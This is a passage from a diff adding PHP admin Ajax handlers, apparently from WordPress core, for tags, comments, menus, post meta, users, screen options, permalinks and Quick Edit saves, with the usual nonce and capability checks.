+	$taxonomy = !empty($_POST['taxonomy']) ? $_POST['taxonomy'] : 'post_tag';
+	$tax = get_taxonomy($taxonomy);
+
+	if ( !current_user_can( $tax->cap->edit_terms ) )
+		wp_die( -1 );
+
+	$x = new WP_Ajax_Response();
+
+	$tag = wp_insert_term($_POST['tag-name'], $taxonomy, $_POST );
+
+	if ( !$tag || is_wp_error($tag) || (!$tag = get_term( $tag['term_id'], $taxonomy )) ) {
+		$message = __('An error has occurred. Please reload the page and try again.');
+		if ( is_wp_error($tag) && $tag->get_error_message() )
+			$message = $tag->get_error_message();
+
+		$x->add( array(
+			'what' => 'taxonomy',
+			'data' => new WP_Error('error', $message )
+		) );
+		$x->send();
+	}
+
+	$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => $_POST['screen'] ) );
+
+	$level = 0;
+	if ( is_taxonomy_hierarchical($taxonomy) ) {
+		$level = count( get_ancestors( $tag->term_id, $taxonomy, 'taxonomy' ) );
+		ob_start();
+		$wp_list_table->single_row( $tag, $level );
+		$noparents = ob_get_clean();
+	}
+
+	ob_start();
+	$wp_list_table->single_row( $tag );
+	$parents = ob_get_clean();
+
+	$x->add( array(
+		'what' => 'taxonomy',
+		'supplemental' => compact('parents', 'noparents')
+	) );
+	$x->add( array(
+		'what' => 'term',
+		'position' => $level,
+		'supplemental' => (array) $tag
+	) );
+	$x->send();
+}
+
+/**
+ * Ajax handler for getting a tagcloud.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_get_tagcloud() {
+	if ( ! isset( $_POST['tax'] ) ) {
+		wp_die( 0 );
+	}
+
+	$taxonomy = sanitize_key( $_POST['tax'] );
+	$tax = get_taxonomy( $taxonomy );
+	if ( ! $tax ) {
+		wp_die( 0 );
+	}
+
+	if ( ! current_user_can( $tax->cap->assign_terms ) ) {
+		wp_die( -1 );
+	}
+
+	$tags = get_terms( $taxonomy, array( 'number' => 45, 'orderby' => 'count', 'order' => 'DESC' ) );
+
+	if ( empty( $tags ) )
+		wp_die( $tax->labels->not_found );
+
+	if ( is_wp_error( $tags ) )
+		wp_die( $tags->get_error_message() );
+
+	foreach ( $tags as $key => $tag ) {
+		$tags[ $key ]->link = '#';
+		$tags[ $key ]->id = $tag->term_id;
+	}
+
+	// We need raw tag names here, so don't filter the output
+	$return = wp_generate_tag_cloud( $tags, array( 'filter' => 0, 'format' => 'list' ) );
+
+	if ( empty($return) )
+		wp_die( 0 );
+
+	echo $return;
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for getting comments.
+ *
+ * @since 3.1.0
+ *
+ * @global int           $post_id
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_get_comments( $action ) {
+	global $post_id;
+	if ( empty( $action ) ) {
+		$action = 'get-comments';
+	}
+	check_ajax_referer( $action );
+
+	if ( empty( $post_id ) && ! empty( $_REQUEST['p'] ) ) {
+		$id = absint( $_REQUEST['p'] );
+		if ( ! empty( $id ) ) {
+			$post_id = $id;
+		}
+	}
+
+	if ( empty( $post_id ) ) {
+		wp_die( -1 );
+	}
+
+	$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
+
+	if ( ! current_user_can( 'edit_post', $post_id ) ) {
+		wp_die( -1 );
+	}
+
+	$wp_list_table->prepare_items();
+
+	if ( ! $wp_list_table->has_items() ) {
+		wp_die( 1 );
+	}
+
+	$x = new WP_Ajax_Response();
+	ob_start();
+	foreach ( $wp_list_table->items as $comment ) {
+		if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) && 0 === $comment->comment_approved )
+			continue;
+		get_comment( $comment );
+		$wp_list_table->single_row( $comment );
+	}
+	$comment_list_item = ob_get_clean();
+
+	$x->add( array(
+		'what' => 'comments',
+		'data' => $comment_list_item
+	) );
+	$x->send();
+}
+
+/**
+ * Ajax handler for replying to a comment.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_replyto_comment( $action ) {
+	if ( empty( $action ) )
+		$action = 'replyto-comment';
+
+	check_ajax_referer( $action, '_ajax_nonce-replyto-comment' );
+
+	$comment_post_ID = (int) $_POST['comment_post_ID'];
+	$post = get_post( $comment_post_ID );
+	if ( ! $post )
+		wp_die( -1 );
+
+	if ( !current_user_can( 'edit_post', $comment_post_ID ) )
+		wp_die( -1 );
+
+	if ( empty( $post->post_status ) )
+		wp_die( 1 );
+	elseif ( in_array($post->post_status, array('draft', 'pending', 'trash') ) )
+		wp_die( __('ERROR: you are replying to a comment on a draft post.') );
+
+	$user = wp_get_current_user();
+	if ( $user->exists() ) {
+		$user_ID = $user->ID;
+		$comment_author       = wp_slash( $user->display_name );
+		$comment_author_email = wp_slash( $user->user_email );
+		$comment_author_url   = wp_slash( $user->user_url );
+		$comment_content      = trim( $_POST['content'] );
+		$comment_type         = isset( $_POST['comment_type'] ) ? trim( $_POST['comment_type'] ) : '';
+		if ( current_user_can( 'unfiltered_html' ) ) {
+			if ( ! isset( $_POST['_wp_unfiltered_html_comment'] ) )
+				$_POST['_wp_unfiltered_html_comment'] = '';
+
+			if ( wp_create_nonce( 'unfiltered-html-comment' ) != $_POST['_wp_unfiltered_html_comment'] ) {
+				kses_remove_filters(); // start with a clean slate
+				kses_init_filters(); // set up the filters
+				remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
+				add_filter( 'pre_comment_content', 'wp_filter_kses' );
+			}
+		}
+	} else {
+		wp_die( __( 'Sorry, you must be logged in to reply to a comment.' ) );
+	}
+
+	if ( '' == $comment_content )
+		wp_die( __( 'ERROR: please type a comment.' ) );
+
+	$comment_parent = 0;
+	if ( isset( $_POST['comment_ID'] ) )
+		$comment_parent = absint( $_POST['comment_ID'] );
+	$comment_auto_approved = false;
+	$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
+
+	// Automatically approve parent comment.
+	if ( !empty($_POST['approve_parent']) ) {
+		$parent = get_comment( $comment_parent );
+
+		if ( $parent && $parent->comment_approved === '0' && $parent->comment_post_ID == $comment_post_ID ) {
+			if ( ! current_user_can( 'edit_comment', $parent->comment_ID ) ) {
+				wp_die( -1 );
+			}
+
+			if ( wp_set_comment_status( $parent, 'approve' ) )
+				$comment_auto_approved = true;
+		}
+	}
+
+	$comment_id = wp_new_comment( $commentdata );
+
+	if ( is_wp_error( $comment_id ) ) {
+		wp_die( $comment_id->get_error_message() );
+	}
+
+	$comment = get_comment($comment_id);
+	if ( ! $comment ) wp_die( 1 );
+
+	$position = ( isset($_POST['position']) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';
+
+	ob_start();
+	if ( isset( $_REQUEST['mode'] ) && 'dashboard' == $_REQUEST['mode'] ) {
+		require_once( ABSPATH . 'wp-admin/includes/dashboard.php' );
+		_wp_dashboard_recent_comments_row( $comment );
+	} else {
+		if ( isset( $_REQUEST['mode'] ) && 'single' == $_REQUEST['mode'] ) {
+			$wp_list_table = _get_list_table('WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
+		} else {
+			$wp_list_table = _get_list_table('WP_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
+		}
+		$wp_list_table->single_row( $comment );
+	}
+	$comment_list_item = ob_get_clean();
+
+	$response =  array(
+		'what' => 'comment',
+		'id' => $comment->comment_ID,
+		'data' => $comment_list_item,
+		'position' => $position
+	);
+
+	$counts = wp_count_comments();
+	$response['supplemental'] = array(
+		'in_moderation' => $counts->moderated,
+		'i18n_comments_text' => sprintf(
+			_n( '%s Comment', '%s Comments', $counts->approved ),
+			number_format_i18n( $counts->approved )
+		),
+		'i18n_moderation_text' => sprintf(
+			_nx( '%s in moderation', '%s in moderation', $counts->moderated, 'comments' ),
+			number_format_i18n( $counts->moderated )
+		)
+	);
+
+	if ( $comment_auto_approved ) {
+		$response['supplemental']['parent_approved'] = $parent->comment_ID;
+		$response['supplemental']['parent_post_id'] = $parent->comment_post_ID;
+	}
+
+	$x = new WP_Ajax_Response();
+	$x->add( $response );
+	$x->send();
+}
+
+/**
+ * Ajax handler for editing a comment.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_edit_comment() {
+	check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' );
+
+	$comment_id = (int) $_POST['comment_ID'];
+	if ( ! current_user_can( 'edit_comment', $comment_id ) )
+		wp_die( -1 );
+
+	if ( '' == $_POST['content'] )
+		wp_die( __( 'ERROR: please type a comment.' ) );
+
+	if ( isset( $_POST['status'] ) )
+		$_POST['comment_status'] = $_POST['status'];
+	edit_comment();
+
+	$position = ( isset($_POST['position']) && (int) $_POST['position']) ? (int) $_POST['position'] : '-1';
+	$checkbox = ( isset($_POST['checkbox']) && true == $_POST['checkbox'] ) ? 1 : 0;
+	$wp_list_table = _get_list_table( $checkbox ? 'WP_Comments_List_Table' : 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
+
+	$comment = get_comment( $comment_id );
+	if ( empty( $comment->comment_ID ) )
+		wp_die( -1 );
+
+	ob_start();
+	$wp_list_table->single_row( $comment );
+	$comment_list_item = ob_get_clean();
+
+	$x = new WP_Ajax_Response();
+
+	$x->add( array(
+		'what' => 'edit_comment',
+		'id' => $comment->comment_ID,
+		'data' => $comment_list_item,
+		'position' => $position
+	));
+
+	$x->send();
+}
+
+/**
+ * Ajax handler for adding a menu item.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_add_menu_item() {
+	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );
+
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+
+	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+
+	// For performance reasons, we omit some object properties from the checklist.
+	// The following is a hacky way to restore them when adding non-custom items.
+
+	$menu_items_data = array();
+	foreach ( (array) $_POST['menu-item'] as $menu_item_data ) {
+		if (
+			! empty( $menu_item_data['menu-item-type'] ) &&
+			'custom' != $menu_item_data['menu-item-type'] &&
+			! empty( $menu_item_data['menu-item-object-id'] )
+		) {
+			switch( $menu_item_data['menu-item-type'] ) {
+				case 'post_type' :
+					$_object = get_post( $menu_item_data['menu-item-object-id'] );
+				break;
+
+				case 'post_type_archive' :
+					$_object = get_post_type_object( $menu_item_data['menu-item-object'] );
+				break;
+
+				case 'taxonomy' :
+					$_object = get_term( $menu_item_data['menu-item-object-id'], $menu_item_data['menu-item-object'] );
+				break;
+			}
+
+			$_menu_items = array_map( 'wp_setup_nav_menu_item', array( $_object ) );
+			$_menu_item = reset( $_menu_items );
+
+			// Restore the missing menu item properties
+			$menu_item_data['menu-item-description'] = $_menu_item->description;
+		}
+
+		$menu_items_data[] = $menu_item_data;
+	}
+
+	$item_ids = wp_save_nav_menu_items( 0, $menu_items_data );
+	if ( is_wp_error( $item_ids ) )
+		wp_die( 0 );
+
+	$menu_items = array();
+
+	foreach ( (array) $item_ids as $menu_item_id ) {
+		$menu_obj = get_post( $menu_item_id );
+		if ( ! empty( $menu_obj->ID ) ) {
+			$menu_obj = wp_setup_nav_menu_item( $menu_obj );
+			$menu_obj->label = $menu_obj->title; // don't show "(pending)" in ajax-added items
+			$menu_items[] = $menu_obj;
+		}
+	}
+
+	/** This filter is documented in wp-admin/includes/nav-menu.php */
+	$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $_POST['menu'] );
+
+	if ( ! class_exists( $walker_class_name ) )
+		wp_die( 0 );
+
+	if ( ! empty( $menu_items ) ) {
+		$args = array(
+			'after' => '',
+			'before' => '',
+			'link_after' => '',
+			'link_before' => '',
+			'walker' => new $walker_class_name,
+		);
+		echo walk_nav_menu_tree( $menu_items, 0, (object) $args );
+	}
+	wp_die();
+}
+
+/**
+ * Ajax handler for adding meta.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_add_meta() {
+	check_ajax_referer( 'add-meta', '_ajax_nonce-add-meta' );
+	$c = 0;
+	$pid = (int) $_POST['post_id'];
+	$post = get_post( $pid );
+
+	if ( isset($_POST['metakeyselect']) || isset($_POST['metakeyinput']) ) {
+		if ( !current_user_can( 'edit_post', $pid ) )
+			wp_die( -1 );
+		if ( isset($_POST['metakeyselect']) && '#NONE#' == $_POST['metakeyselect'] && empty($_POST['metakeyinput']) )
+			wp_die( 1 );
+
+		// If the post is an autodraft, save the post as a draft and then attempt to save the meta.
+		if ( $post->post_status == 'auto-draft' ) {
+			$post_data = array();
+			$post_data['action'] = 'draft'; // Warning fix
+			$post_data['post_ID'] = $pid;
+			$post_data['post_type'] = $post->post_type;
+			$post_data['post_status'] = 'draft';
+			$now = current_time('timestamp', 1);
+			/* translators: 1: Post creation date, 2: Post creation time */
+			$post_data['post_title'] = sprintf( __( 'Draft created on %1$s at %2$s' ), date( __( 'F j, Y' ), $now ), date( __( 'g:i a' ), $now ) );
+
+			$pid = edit_post( $post_data );
+			if ( $pid ) {
+				if ( is_wp_error( $pid ) ) {
+					$x = new WP_Ajax_Response( array(
+						'what' => 'meta',
+						'data' => $pid
+					) );
+					$x->send();
+				}
+
+				if ( !$mid = add_meta( $pid ) )
+					wp_die( __( 'Please provide a custom field value.' ) );
+			} else {
+				wp_die( 0 );
+			}
+		} elseif ( ! $mid = add_meta( $pid ) ) {
+			wp_die( __( 'Please provide a custom field value.' ) );
+		}
+
+		$meta = get_metadata_by_mid( 'post', $mid );
+		$pid = (int) $meta->post_id;
+		$meta = get_object_vars( $meta );
+		$x = new WP_Ajax_Response( array(
+			'what' => 'meta',
+			'id' => $mid,
+			'data' => _list_meta_row( $meta, $c ),
+			'position' => 1,
+			'supplemental' => array('postid' => $pid)
+		) );
+	} else { // Update?
+		$mid = (int) key( $_POST['meta'] );
+		$key = wp_unslash( $_POST['meta'][$mid]['key'] );
+		$value = wp_unslash( $_POST['meta'][$mid]['value'] );
+		if ( '' == trim($key) )
+			wp_die( __( 'Please provide a custom field name.' ) );
+		if ( ! $meta = get_metadata_by_mid( 'post', $mid ) )
+			wp_die( 0 ); // if meta doesn't exist
+		if ( is_protected_meta( $meta->meta_key, 'post' ) || is_protected_meta( $key, 'post' ) ||
+			! current_user_can( 'edit_post_meta', $meta->post_id, $meta->meta_key ) ||
+			! current_user_can( 'edit_post_meta', $meta->post_id, $key ) )
+			wp_die( -1 );
+		if ( $meta->meta_value != $value || $meta->meta_key != $key ) {
+			if ( !$u = update_metadata_by_mid( 'post', $mid, $value, $key ) )
+				wp_die( 0 ); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
+		}
+
+		$x = new WP_Ajax_Response( array(
+			'what' => 'meta',
+			'id' => $mid, 'old_id' => $mid,
+			'data' => _list_meta_row( array(
+				'meta_key' => $key,
+				'meta_value' => $value,
+				'meta_id' => $mid
+			), $c ),
+			'position' => 0,
+			'supplemental' => array('postid' => $meta->post_id)
+		) );
+	}
+	$x->send();
+}
+
+/**
+ * Ajax handler for adding a user.
+ *
+ * @since 3.1.0
+ *
+ * @param string $action Action to perform.
+ */
+function wp_ajax_add_user( $action ) {
+	if ( empty( $action ) ) {
+		$action = 'add-user';
+	}
+
+	check_ajax_referer( $action );
+	if ( ! current_user_can('create_users') )
+		wp_die( -1 );
+	if ( ! $user_id = edit_user() ) {
+		wp_die( 0 );
+	} elseif ( is_wp_error( $user_id ) ) {
+		$x = new WP_Ajax_Response( array(
+			'what' => 'user',
+			'id' => $user_id
+		) );
+		$x->send();
+	}
+	$user_object = get_userdata( $user_id );
+
+	$wp_list_table = _get_list_table('WP_Users_List_Table');
+
+	$role = current( $user_object->roles );
+
+	$x = new WP_Ajax_Response( array(
+		'what' => 'user',
+		'id' => $user_id,
+		'data' => $wp_list_table->single_row( $user_object, '', $role ),
+		'supplemental' => array(
+			'show-link' => sprintf(
+				/* translators: %s: the new user */
+				__( 'User %s added' ),
+				'<a href="#user-' . $user_id . '">' . $user_object->user_login . '</a>'
+			),
+			'role' => $role,
+		)
+	) );
+	$x->send();
+}
+
+/**
+ * Ajax handler for closed post boxes.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_closed_postboxes() {
+	check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' );
+	$closed = isset( $_POST['closed'] ) ? explode( ',', $_POST['closed']) : array();
+	$closed = array_filter($closed);
+
+	$hidden = isset( $_POST['hidden'] ) ? explode( ',', $_POST['hidden']) : array();
+	$hidden = array_filter($hidden);
+
+	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
+
+	if ( $page != sanitize_key( $page ) )
+		wp_die( 0 );
+
+	if ( ! $user = wp_get_current_user() )
+		wp_die( -1 );
+
+	if ( is_array($closed) )
+		update_user_option($user->ID, "closedpostboxes_$page", $closed, true);
+
+	if ( is_array($hidden) ) {
+		$hidden = array_diff( $hidden, array('submitdiv', 'linksubmitdiv', 'manage-menu', 'create-menu') ); // postboxes that are always shown
+		update_user_option($user->ID, "metaboxhidden_$page", $hidden, true);
+	}
+
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for hidden columns.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_hidden_columns() {
+	check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' );
+	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
+
+	if ( $page != sanitize_key( $page ) )
+		wp_die( 0 );
+
+	if ( ! $user = wp_get_current_user() )
+		wp_die( -1 );
+
+	$hidden = ! empty( $_POST['hidden'] ) ? explode( ',', $_POST['hidden'] ) : array();
+	update_user_option( $user->ID, "manage{$page}columnshidden", $hidden, true );
+
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for updating whether to display the welcome panel.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_update_welcome_panel() {
+	check_ajax_referer( 'welcome-panel-nonce', 'welcomepanelnonce' );
+
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+
+	update_user_meta( get_current_user_id(), 'show_welcome_panel', empty( $_POST['visible'] ) ? 0 : 1 );
+
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for retrieving menu meta boxes.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_menu_get_metabox() {
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+
+	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+
+	if ( isset( $_POST['item-type'] ) && 'post_type' == $_POST['item-type'] ) {
+		$type = 'posttype';
+		$callback = 'wp_nav_menu_item_post_type_meta_box';
+		$items = (array) get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
+	} elseif ( isset( $_POST['item-type'] ) && 'taxonomy' == $_POST['item-type'] ) {
+		$type = 'taxonomy';
+		$callback = 'wp_nav_menu_item_taxonomy_meta_box';
+		$items = (array) get_taxonomies( array( 'show_ui' => true ), 'object' );
+	}
+
+	if ( ! empty( $_POST['item-object'] ) && isset( $items[$_POST['item-object']] ) ) {
+		$menus_meta_box_object = $items[ $_POST['item-object'] ];
+
+		/** This filter is documented in wp-admin/includes/nav-menu.php */
+		$item = apply_filters( 'nav_menu_meta_box_object', $menus_meta_box_object );
+		ob_start();
+		call_user_func_array($callback, array(
+			null,
+			array(
+				'id' => 'add-' . $item->name,
+				'title' => $item->labels->name,
+				'callback' => $callback,
+				'args' => $item,
+			)
+		));
+
+		$markup = ob_get_clean();
+
+		echo wp_json_encode(array(
+			'replace-id' => $type . '-' . $item->name,
+			'markup' => $markup,
+		));
+	}
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for internal linking.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_wp_link_ajax() {
+	check_ajax_referer( 'internal-linking', '_ajax_linking_nonce' );
+
+	$args = array();
+
+	if ( isset( $_POST['search'] ) ) {
+		$args['s'] = wp_unslash( $_POST['search'] );
+	}
+
+	if ( isset( $_POST['term'] ) ) {
+		$args['s'] = wp_unslash( $_POST['term'] );
+	}
+
+	$args['pagenum'] = ! empty( $_POST['page'] ) ? absint( $_POST['page'] ) : 1;
+
+	if ( ! class_exists( '_WP_Editors', false ) ) {
+		require( ABSPATH . WPINC . '/class-wp-editor.php' );
+	}
+
+	$results = _WP_Editors::wp_link_query( $args );
+
+	if ( ! isset( $results ) )
+		wp_die( 0 );
+
+	echo wp_json_encode( $results );
+	echo "\n";
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for menu locations save.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_menu_locations_save() {
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );
+	if ( ! isset( $_POST['menu-locations'] ) )
+		wp_die( 0 );
+	set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_POST['menu-locations'] ) );
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for saving the meta box order.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_meta_box_order() {
+	check_ajax_referer( 'meta-box-order' );
+	$order = isset( $_POST['order'] ) ? (array) $_POST['order'] : false;
+	$page_columns = isset( $_POST['page_columns'] ) ? $_POST['page_columns'] : 'auto';
+
+	if ( $page_columns != 'auto' )
+		$page_columns = (int) $page_columns;
+
+	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';
+
+	if ( $page != sanitize_key( $page ) )
+		wp_die( 0 );
+
+	if ( ! $user = wp_get_current_user() )
+		wp_die( -1 );
+
+	if ( $order )
+		update_user_option($user->ID, "meta-box-order_$page", $order, true);
+
+	if ( $page_columns )
+		update_user_option($user->ID, "screen_layout_$page", $page_columns, true);
+
+	wp_die( 1 );
+}
+
+/**
+ * Ajax handler for menu quick searching.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_menu_quick_search() {
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		wp_die( -1 );
+
+	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';
+
+	_wp_ajax_menu_quick_search( $_POST );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler to retrieve a permalink.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_get_permalink() {
+	check_ajax_referer( 'getpermalink', 'getpermalinknonce' );
+	$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
+	wp_die( get_preview_post_link( $post_id ) );
+}
+
+/**
+ * Ajax handler to retrieve a sample permalink.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_sample_permalink() {
+	check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' );
+	$post_id = isset($_POST['post_id'])? intval($_POST['post_id']) : 0;
+	$title = isset($_POST['new_title'])? $_POST['new_title'] : '';
+	$slug = isset($_POST['new_slug'])? $_POST['new_slug'] : null;
+	wp_die( get_sample_permalink_html( $post_id, $title, $slug ) );
+}
+
+/**
+ * Ajax handler for Quick Edit saving a post from a list table.
+ *
+ * @since 3.1.0
+ *
+ * @global string $mode List table view mode.
+ */
+function wp_ajax_inline_save() {
+	global $mode;
+
+	check_ajax_referer( 'inlineeditnonce', '_inline_edit' );
+
+	if ( ! isset($_POST['post_ID']) || ! ( $post_ID = (int) $_POST['post_ID'] ) )
+		wp_die();
+
+	if ( 'page' == $_POST['post_type'] ) {
+		if ( ! current_user_can( 'edit_page', $post_ID ) )
+			wp_die( __( 'Sorry, you are not allowed to edit this page.' ) );
+	} else {
+		if ( ! current_user_can( 'edit_post', $post_ID ) )
+			wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
+	}
+
+	if ( $last = wp_check_post_lock( $post_ID ) ) {
+		$last_user = get_userdata( $last );
+		$last_user_name = $last_user ? $last_user->display_name : __( 'Someone' );
+		printf( $_POST['post_type'] == 'page' ? __( 'Saving is disabled: %s is currently editing this page.' ) : __( 'Saving is disabled: %s is currently editing this post.' ),	esc_html( $last_user_name ) );
+		wp_die();
+	}
+
+	$data = &$_POST;
+
+	$post = get_post( $post_ID, ARRAY_A );
+
+	// Since it's coming from the database.
+	$post = wp_slash($post);
+
+	$data['content'] = $post['post_content'];
+	$data['excerpt'] = $post['post_excerpt'];
+
+	// Rename.
+	$data['user_ID'] = get_current_user_id();
+
+	if ( isset($data['post_parent']) )
+		$data['parent_id'] = $data['post_parent'];
+
+	// Status.
+	if ( isset( $data['keep_private'] ) && 'private' == $data['keep_private'] ) {
+		$data['visibility']  = 'private';
+		$data['post_status'] = 'private';
+	} else {
+		$data['post_status'] = $data['_status'];
+	}
+
+	if ( empty($data['comment_status']) )
+		$data['comment_status'] = 'closed';
+	if ( empty($data['ping_status']) )
+		$data['ping_status'] = 'closed';
+
+	// Exclude terms from taxonomies that are not supposed to appear in Quick Edit.
+	if ( ! empty( $data['tax_input'] ) ) {
+		foreach ( $data['tax_input'] as $taxonomy => $terms ) {
+			$tax_object = get_taxonomy( $taxonomy );
+			/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
+			if ( ! apply_filters( 'quick_edit_show_taxonomy', $tax_object->show_in_quick_edit, $taxonomy, $post['post_type'] ) ) {
+				unset( $data['tax_input'][ $taxonomy ] );
+			}
+		}
+	}
+
+	// Hack: wp_unique_post_slug() doesn't work for drafts, so we will fake that our post is published.
+	if ( ! empty( $data['post_name'] ) && in_array( $post['post_status'], array( 'draft', 'pending' ) ) ) {
+		$post['post_status'] = 'publish';
+		$data['post_name'] = wp_unique_post_slug( $data['post_name'], $post['ID'], $post['post_status'], $post['post_type'], $post['post_parent'] );
+	}
+
+	// Update the post.
+	edit_post();
+
+	$wp_list_table = _get_list_table( 'WP_Posts_List_Table', array( 'screen' => $_POST['screen'] ) );
+
+	$mode = $_POST['post_view'] === 'excerpt' ? 'excerpt' : 'list';
+
+	$level = 0;
+	if ( is_post_type_hierarchical( $wp_list_table->screen->post_type ) ) {
+		$request_post = array( get_post( $_POST['post_ID'] ) );
+		$parent       = $request_post[0]->post_parent;
+
+		while ( $parent > 0 ) {
+			$parent_post = get_post( $parent );
+			$parent      = $parent_post->post_parent;
+			$level++;
+		}
+	}
+
+	$wp_list_table->display_rows( array( get_post( $_POST['post_ID'] ) ), $level );
+
+	wp_die();
+}
+
+/**
+ * Ajax handler for quick edit saving for a term.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_inline_save_tax() {
+	check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' );
+
+	$taxonomy = sanitize_key( $_POST['taxonomy'] );
+	$tax = get_taxonomy( $taxonomy );
+	if ( ! $tax )
+		wp_die( 0 );
+
+	if ( ! isset( $_POST['tax_ID'] ) || ! ( $id = (int) $_POST['tax_ID'] ) ) {
+		wp_die( -1 );
+	}
+
+	if ( ! current_user_can( 'edit_term', $id ) ) {
+		wp_die( -1 );
+	}
+
+	$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => 'edit-' . $taxonomy ) );
+
+	$tag = get_term( $id, $taxonomy );
+	$_POST['description'] = $tag->description;
+
+	$updated = wp_update_term($id, $taxonomy, $_POST);
+	if ( $updated && !is_wp_error($updated) ) {
+		$tag = get_term( $updated['term_id'], $taxonomy );
+		if ( !$tag || is_wp_error( $tag ) ) {
+			if ( is_wp_error($tag) && $tag->get_error_message() )
+				wp_die( $tag->get_error_message() );
+			wp_die( __( 'Item not updated.' ) );
+		}
+	} else {
+		if ( is_wp_error($updated) && $updated->get_error_message() )
+			wp_die( $updated->get_error_message() );
+		wp_die( __( 'Item not updated.' ) );
+	}
+	$level = 0;
+	$parent = $tag->parent;
+	while ( $parent > 0 ) {
+		$parent_tag = get_term( $parent, $taxonomy );
+		$parent = $parent_tag->parent;
+		$level++;
+	}
+	$wp_list_table->single_row( $tag, $level );
+	wp_die();
+}
+
+/**
+ * Ajax handler for querying posts for the Find Posts modal.
+ *
+ * @see window.findPosts
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_find_posts() {
+	check_ajax_referer( 'find-posts' );
+
+	$post_types = get_post_types( array( 'public' => true ), 'objects' );
+	unset( $post_types['attachment'] );
+
+	$s = wp_unslash( $_POST['ps'] );
+	$args = array(
+		'post_type' => array_keys( $post_types ),
+		'post_status' => 'any',
+		'posts_per_page' => 50,
+	);
+	if ( '' !== $s )
+		$args['s'] = $s;
+
+	$posts = get_posts( $args );
+
+	if ( ! $posts ) {
+		wp_send_json_error( __( 'No items found.' ) );
+	}
+
+	$html = '<table class="widefat"><thead><tr><th class="found-radio"><br /></th><th>'.__('Title').'</th><th class="no-break">'.__('Type').'</th><th class="no-break">'.__('Date').'</th><th class="no-break">'.__('Status').'</th></tr></thead><tbody>';
+	$alt = '';
+	foreach ( $posts as $post ) {
+		$title = trim( $post->post_title ) ? $post->post_title : __( '(no title)' );
+		$alt = ( 'alternate' == $alt ) ? '' : 'alternate';
+
+		switch ( $post->post_status ) {
+			case 'publish' :
+			case 'private' :
+				$stat = __('Published');
+				break;
+			case 'future' :
+				$stat = __('Scheduled');
+				break;
+			case 'pending' :
+				$stat = __('Pending Review');
+				break;
+			case 'draft' :
+				$stat = __('Draft');
+				break;
+		}
+
+		if ( '0000-00-00 00:00:00' == $post->post_date ) {
+			$time = '';
+		} else {
+			/* translators: date format in table columns, see https://secure.php.net/date */
+			$time = mysql2date(__('Y/m/d'), $post->post_date);
+		}
+
+		$html .= '<tr class="' . trim( 'found-posts ' . $alt ) . '"><td class="found-radio"><input type="radio" id="found-'.$post->ID.'" name="found_post_id" value="' . esc_attr($post->ID) . '"></td>';
+		$html .= '<td><label for="found-'.$post->ID.'">' . esc_html( $title ) . '</label></td><td class="no-break">' . esc_html( $post_types[$post->post_type]->labels->singular_name ) . '</td><td class="no-break">'.esc_html( $time ) . '</td><td class="no-break">' . esc_html( $stat ). ' </td></tr>' . "\n\n";
+	}
+
+	$html .= '</tbody></table>';
+
+	wp_send_json_success( $html );
+}
+
+/**
